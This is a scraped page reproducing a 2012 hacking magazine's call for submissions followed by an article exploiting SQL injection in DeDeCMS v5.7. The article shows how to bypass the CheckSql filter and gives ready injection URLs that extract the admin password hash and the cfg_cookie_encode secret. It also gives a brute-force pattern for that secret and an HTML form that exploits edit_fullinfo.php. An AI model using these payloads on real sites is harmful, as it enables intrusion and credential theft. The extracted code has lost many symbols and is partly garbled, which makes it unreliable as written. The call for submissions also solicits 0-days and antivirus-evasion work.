【Jsp精品源码栏目提醒】:文章导读:在新的一年中,各位网友都进入紧张的学习或是工作阶段。
网学会员整理了Jsp精品源码-黑客防线2012年2月刊 - 软件工程的相关内容供大家参考,祝大家在新的一年里工作和学习顺利!
2012 征稿启示 《黑客防线》作为一本技术月刊,已经 12 年了。
这十多年以来基本上形成了一个网络安全技术坎坷发展的主线,陪伴着无数热爱技术、钻研技术、热衷网络安全技术创新的同仁们实现了诸多技术突破。
再次感谢所有的读者和作者, 希望这份技术杂志可以永远陪你一起走下去。
投稿栏目:首发漏洞 要求原创必须首发,杜绝一切二手资料。
主要内容集中在各种 0Day 公布、讨论,欢迎第一手溢出类文章,特别欢迎主流操作系统和网络设备的底层 0Day 稿费从优,可以洽谈深度合作。
有深度合作意向者,直接联系总编辑 binsun20000hotmail.comAndroid 技术研究 黑防重点栏目对 android 系统的攻击.破解.控制等技术的研究.研究方向包括android 源代码解析android 虚拟机重点欢迎针对 android 下杀毒软件机制和系统底层机理研究的技术和成果.本月焦点 针对时下的热点网络安全技术问题展开讨论,或发表自己的技术观点、研究成果,或针对某一技术事件做分析、评测。
漏洞攻防 利用系统漏洞、网络协议漏洞进行的渗透、入侵、反渗透,反入侵包括比较流行的第三方软件和网络设备 0Day 的触发机理,对于国际国内发布的 poc 进行分析研究,编写并提供优化的 exploit 的思路和过程;同时可针对最新爆发的漏洞进行底层触发、shellcode 分析以及对各种平台的安全机制的研究。
脚本攻防 利用脚本系统漏洞进行的注入、提权、渗透;国内外使用率高的脚本系统的 0day 以及相关防护代码。
重点欢迎利用脚本语言缺陷和数据库漏洞配合的注入以及补丁建议; 重点欢迎 PHP 、
JSP 以及 html 边界注入的研究和代码实现。
工具与免杀 巧妙的免杀技术讨论;针对最新 Anti 杀毒软件、HIPS 等安全防护软件技术的讨论。
特别欢迎突破安全防护软件主动防御的技术讨论, 以及针对主流杀毒软件文件监控和扫描技术的新型思路对抗并且欢迎在源代码基础上免杀和专杀的技术论证 最新工具,包括安全工具和黑客工具的新技术分析,以及新的使用技巧的实力讲解。
渗透与提权 黑防重点栏目。
欢迎非 windows 系统、非 SQL 数据库以外的主流操作系统地渗透、提权技术讨论,特别欢迎内网渗透、摆渡、提权的技术突破。
一切独特的渗透、提权实际例子均在此栏目发表,杜绝任何无亮点技术文章!溢出研究 对各种系统包括应用软件漏洞的详细分析, 以及底层触发、shellcode 编写、漏洞模式等。
外文精粹 选取国外优秀的网络安全技术文章,进行翻译、讨论。
1网络安全顾问 我们关注局域网和广域网整体网络防/杀病毒、防渗透体系的建立;ARP 系统的整体防护较有效的不损失网络资源的防范 DDos 攻击技术等相关方面的技术文章。
搜索引擎优化 主要针对特定关键词在各搜索引擎的综合排名、 针对主流搜索引擎的多关键词排名的优化技术。
密界寻踪 关于算法、完全破解、硬件级加解密的技术讨论和病毒分析、虚拟机设计、外壳开发、调试及逆向分析技术的深入研究。
编程解析 各种安全软件和黑客软件的编程技术探讨;底层驱动、网络协议、进程的加载与控制技术探讨和 virus 高级应用技术编写;以及漏洞利用的关键代码解析和测试。
重点欢迎C/C/ASM 自主开发独特工具的开源讨论。
投稿格式要求: 1)技术分析来稿一律使用 Word 编排,将图片插入文章中适当的位置,并明确标注“图1”、“图 2”; 2)在稿件末尾请注明您的户名、银行账号、以及开户地,包括你的真实姓名、准确的邮寄地址和邮编、 、QQ 或者 MSN、邮箱、常用的笔名等,方便我们发放稿费。
3)投稿方式和和周期:采用 E-Mail 方式投稿,投稿 mail: du_xing_zheyahoo.com.cn QQ675122680 投稿后,稿件录用情况将于 1-3 个工作日内回复,请作者留意查看。
每月 10 日前投稿将有机会发表在下月杂志上,10 日后将放到下下月杂志,请作者朋友注意,确认在下一期也没使用者,可以另投他处。
限于人力,未采用的恕不退稿 ,请自留底稿。
重点提示:严禁一稿 两投 。
无论什么原因,如果出现重稿-----与别的杂志重复---与别的网站重复,将会扣发稿费,从此不再录用该作者稿件。
4)稿费发放周期:稿费当月发放,稿费从优。
欢迎更多的专业技术人员加入到这个行列。
5)跟据稿件质量分为一等二等三等稿件其稿费如下一等稿件 900 元/篇二等稿件 600 元/篇三等稿件 300 元/篇 6〉稿费发放办法:用银行卡发放,支持境内各大银行借记卡,不支持信用卡。
7〉投稿信箱及编辑联系投稿信箱 du_xing_zheyahoo.com.cn编辑 QQ 675122680 2前置知识:PHP关键词:dedecmsDeDeCMS v5.7 最新漏洞分析 文/图 Cschi DeDeCMS(织梦 CMS) 从 是一款国内比较专业的 PHP 网站内容管理系统, 04 年发行至今,已近七个年头,也经历了无数次的升级和改版,最新版本为 8 月 12 更新的 V5.7 正式版,功能也不断增强。
笔者原本以为这应该是一款安全性比较高的 CMS 系统,然而分析后令人感到迷茫,迷茫国内比较专业的系统经历七年发展,其安全还是令人堪忧。
或许网络原本就没有绝对的安全。
注入漏洞 漏洞一:/member/ajax_membergroup.php 页面的 membergroup 变量没有过滤导致数字型注入,关键代码如下: //编辑分组 elseifaction post ifemptymembergroup echo quot您还没有设置分组!quot exit sql quotUPDATE __member_friends SET groupidmembergroup WHERE fidmid AND midcfg_ml-gtM_IDquot dsql-gtExecuteNoneQuerysql row dsql-gtGetOnequotSELECT groupname FROM __member_group WHERE mid cfg_ml-gtM_ID AND idmembergroupquot //数字型注入 echo quotampnbspquot.rowgroupname.quotampnbspampnbsplta href onclickEditMemberGroupmidreturn falsegt修改lt/agtquot 很明显当 时, “actionpost” membergroup 导致数字型注入漏洞, 但是 DeDeCMS 在访问 MySql数据库之前,使用 CheckSql自定义函数对 SQL 语句进行安全检查,无法直接注入。
绕 过 防 注 入 。
CheckSql 函 数 定 义 在 /include/dedesql.class.php 或/include/dedesqli.class.php 数据库类文件中,代码如下: 3if function_existsCheckSql function CheckSqldb_stringquerytypeselect global cfg_cookie_encode clean errorold_pos 0pos -1 ...略 //如果是普通查询语句,直接过滤一些特殊语法 ifquerytypeselect notallow1quot0-9a-z._-1unionsleepbenchmarkload_fileoutfile0-9a-z.-1quot //0-9a-z._-1即至少 1 个非数字、小写字母、等字符, ifpreg_matchquot/quot.notallow1.quot/quot db_string //①preg_match 未使用参数 i,使用大写绕过,如:Unionputsfopenlog_fileaquotuserIPgetUrldb_stringSelectBreakrnquot exitquotltfont size5 colorredgtSafe Alert: Request Error step1 lt/fontgtquot while TRUE pos strposdb_string pos 1 if pos FALSE break //②假如字符串db_string 中不存在“”退出 while 循环,存在则继续向下执行 clean . substrdb_string old_pos pos - old_pos while TRUE ...略 clean . s //③将字符串db_string 中quotquot和quotquot之间的字符转为quotsquot,即信任之间的字符串,绕过防注入的关键 old_pos pos 1 …..继续接如下代码 clean . substrdb_string old_posclean trimstrtolowerpreg_replacearrayss array clean//④quotsquot匹配任何空白字符,包括空格、制表符、换页符等,clean 转为小写//⑤再次检查 union 关键字if strposclean union FALSE ampamppreg_matcha-zuniona-zs clean 0 fail TRUE errorquotunion detectquot 4 //⑥依次检查--、、benchmark、load_file、outfile、select 等关键字 elseif strposclean / gt 2 strposclean -- FALSE strposclean FALSE ...略 //这些函数不会被使用,但是黑客会用它来操作文件,down 掉数据库 elseif strposclean sleep FALSE ampamp preg_matcha-zsleepa-zs clean 0 ...略 //老版本的 MYSQL 不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来 查询数据库敏感信息 elseif preg_matchselects clean 0 ...略 if emptyfail //存在限制的 Sql 关键字,写日志文件log_file,输出“Safe Alert: Request Error step 2” fputsfopenlog_fileaquotuserIPgetUrldb_stringerrorrnquot exitquotltfont size5 colorredgtSafe Alert: Request Error step 2lt/fontgtquot else //⑦不存在限制的 Sql 关键字,返回db_string 字符串 return db_string 语句①使用正则表达式过滤 Sql 关键字,但是因为没有参数“i”,导致可以使用大写绕过,比如“Union”等,While 循环实现将字符串(Sql 语句)中转义单引号之间的字符转为 ,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含 Sql 关键字的“s”文字,比如发表新文章的内容,但是也因此产生了安全漏洞。
漏洞利用。
构造 membergroup 变量值为“ Union select pwd from 23__adminwhere 1 or id”,注意:1) ,2)前后使用“” “Union”不能全为小写“union” 。
当变量提交后,Sql 语句成为“SELECT groupname FROM __member_group WHERE mid 8AND id Union select pwd from 23__admin where 1 or id” ,mid 为当前用户 id,首先大写 Union 绕过防注入语句①,然后防注入会将“”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有“union、select”等关键字!在 CheckSql函数中添加输出语句如下,可以直观地看到转换前后的 Sql 语句以及注入结果如图 1。
…略 echo quot原字符串:quot.db_string.quotltbrgtquot //完整的 SQL 检查 while TRUE …略 clean . substrdb_string old_pos clean trimstrtolowerpreg_replacearrayss array clean echo quot转换以后:quot.clean.quotltbrgtquot …略 5 图1 这里注出的是 substrmd5this-gtuserPwd 5 20值,我们可以去掉前三位和最后 ,再进行爆破。
常用的注入链接如下:一位,成为 16 位 MD5 码,如“7a57a5a743894a0e” 注入管理员密码: http://127.1/member/ajax_membergroup.phpactionpostampmembergroup Union select pwd from 23__admin where 1 or id // 如 果 存 在 多 个 管 理 员 时 , 可 以 将 where 条 件 改 为 “ id1 or id ” 或 “userid0x61646D696E or id” 注入cfg_cookie_encode http://127.1/member/ajax_membergroup.phpactionpostampmembergroup Union select value from 23__sysconfig where aid3 or aid // 在 获 得 cfg_cookie_encode 后 , 我 们 可 以 直 接 利 用 漏 洞 二 。
另 外 在 “/data/.md5cfg_cookie_encode._safe.txt”文件中记录着注入痕迹。
,漏洞二:/member/edit_fullinfo.php 页面,即更改详细资料页面(系统设置gtgt个人资料)如图 2,要求登陆用户。
图2该页面中inadd_f 变量没有过滤导致注入,代码如下: 6ifdopostsave //这里完成详细内容填写 ...略 ifemptydede_fields ifdede_fieldshash md5dede_fields.cfg_cookie_encode howMsg数据校验不对,程序返回 -1 exit // ① cfg_cookie_encode 值 必 须 已 知 , 才 能 提 交 符 合 条 件 的dede_fieldshash modelform dsql-gtGetOnequotSELECT FROM __member_model WHERE idmodidquot ifis_arraymodelform howmsg模型表单不存在 -1 exit //②modid 值必须正确 inadd_f ifemptydede_fields fieldarr explode dede_fields //③用“”将dede_fields 变量分割成为数组 ifis_arrayfieldarr //即dede_fields 变量至少必须包含一个“” foreachfieldarr as field iffield continue fieldinfo explode field //④用“, ”将field 分割成为数组 iffieldinfo1 textdata fieldinfo0 FilterSearchstripslashesfieldinfo0 fieldinfo0 addslashesfieldinfo0 else if fieldinfo1 img fieldinfo0 addslashesfieldinfo0 else ifemptyfieldinfo0 fieldinfo0 fieldinfo0 GetFieldValuefieldinfo0fieldinfo10adddiy fieldinfo0 iffieldinfo0quotbirthdayquotfieldinfo0GetDateMkfieldinfo0 inadd_f . .fieldinfo0.quot quot.fieldinfo0.quotquot //⑤将用“,”分割成的数组名和值引入inadd_f 中 inadd_fpreg_replace//inadd_f1 query quotUPDATE membermodel-gttableset inadd_f WHEREmidcfg_ml-gtM_IDquot //⑥将inadd_f 引入 Sql 语句中 // 清除缓存 cfg_ml-gtDelCachecfg_ml-gtM_ID ...略 //调用dsql-gtExecuteNoneQueryquery执行 Sql 语句 通过分析可以得出:1)语句①②,cfg_cookie_encode 值必须已知,才能提交符合条 7 提交件的dede_fieldshash, 的 modid 值必须正确, 查看该页面
源码即可获得modid 值; 2)语句③④⑤,dede_fields 变量形式必须为“变量 1 名称,变量 1 类型;变量 2 名称,变 ,量 2 类型….” 最后inadd_f 变量值为 “变量 1 名称’ 变量 1 值’ 变量 2 名称’ 变量 2 值’……” ;3)inadd_f 直接引入 Sql 语句,因此可以使用自查询将需要注出的内容写入个人资料中! 获取cfg_cookie_encode 值。
此值是能否成功利用漏洞二的关键,除了利用漏洞一外,还可以通过爆破 MD5 码获取。
使用cfg_cookie_encode 变量的用户页面很多, 我们选择 “上传 软 件 ” 页 面 , 查 看 页 面 源 码 , 搜 索 “ dede_fieldshash ” 字 符 串 , 如 图 3 , 其 中dede_fieldshash 值 为 MD5dede_addonfields.cfg_cookie_encode , 由 于dede_addonfields 值为空,所以获得的dede_fieldshash 值就是cfg_cookie_encode 变量的 MD5 码, 图3DeDeCMS 安装时,cfg_cookie_encode 变量默认生成规则为: rnd_cookieEncode chrmt_randordAordZ.chrmt_randordaordz.chrmt_rand ordAordZ.chrmt_randordAordZ.chrmt_randordao rdz.mt_rand10009999.chrmt_randordAordZ形式如:AaAAa9999A,即前 5 位为英文字母,分别为大写、小写、大写、大写、小写,然后是 4 位数字,最后是 1 位大写英文字母,一共 10 位。
爆破工具选择 MD5Crack 4,因为这个版本可以按指定的规则进行破解,如图 4。
图4 8 首先输入待破解的 MD5 码,然后选中①处“Plugins” , ,选中②处“Templet Plug 2.0”在③处输入密码规则:A-Za-z2A-Za-z1-930-9A-Z,④处对规则做了一些简单说明,译文如下: 首先,让我们看一些例子:pr3a-z2-4036-8。
模式中包括的“”或“”为基本元素,其中指定字符集,可以用“”列出字符, 或用“-”表示连接的范围。
基本元素之前的数字表示重复次数,不指定时默认为 1。
和的区别: 1、默认(前面无数字)是指重复 1 次,是指重复 0 或 1 次。
,是指重复 x 次,是重复 0 到 x 次。
2、前面 1 个数字(如:x...,x...) ,和是相同的,指重复 x 到 y 次。
3、前面 2 个数字(如:x-y...,x-y...) ... 1-1... ... 0-1... 3... 3-3... 3... 0-3... 有更多的例子: abc : abc abc a-c : abc a-c : NULLabc 2a-c : aaabacbabbbc 2a-c : NULLabcaaabacbabbbccacbcc随后就可以开始破解了。
一旦获得cfg_cookie_encode 变量,我们就可以顺利注入,提交页面代码如下,注意必须将 document.getElementByIddede_fields.value 值中的单引 。
号替换为转义单引号,即“”转为“” ltform methodquotpostquot actionquothttp://127.1/member/edit_fullinfo.phpquot namequotform1quotgt dopost:ltinput typequottextquot valuequotsavequot namequotdopostquot/gtltbrgt modid:ltinput typequottextquot valuequot1quot namequotmodidquot/gtltbrgt cfg_cookie_encode:ltinput typequottextquot valuequotMhHTi3472Tquot namequotcfg_cookie_encodequot /gtltbrgt dede_fields:ltinput typequottextquot valuequotquot namequotdede_fieldsquot size50/gtltbrgt ltinput typequothiddenquot valuequot1quot namequotdede_fieldshashquot/gt ltbutton typequotsubmitquot onclickquotjavascript:var s1document.getElementByIddede_fields.value.replacevar s2document.getElementByIdcfg_cookie_encode.valuedocument.getElementBy Iddede_fieldshash.valuehex_md5s1s2 quotgt完 成 lt/buttongt lt/formgt ltscriptgt利用页面如图 5,提交后完成注入,页面转向后获得管理员的密码,如图 6。
.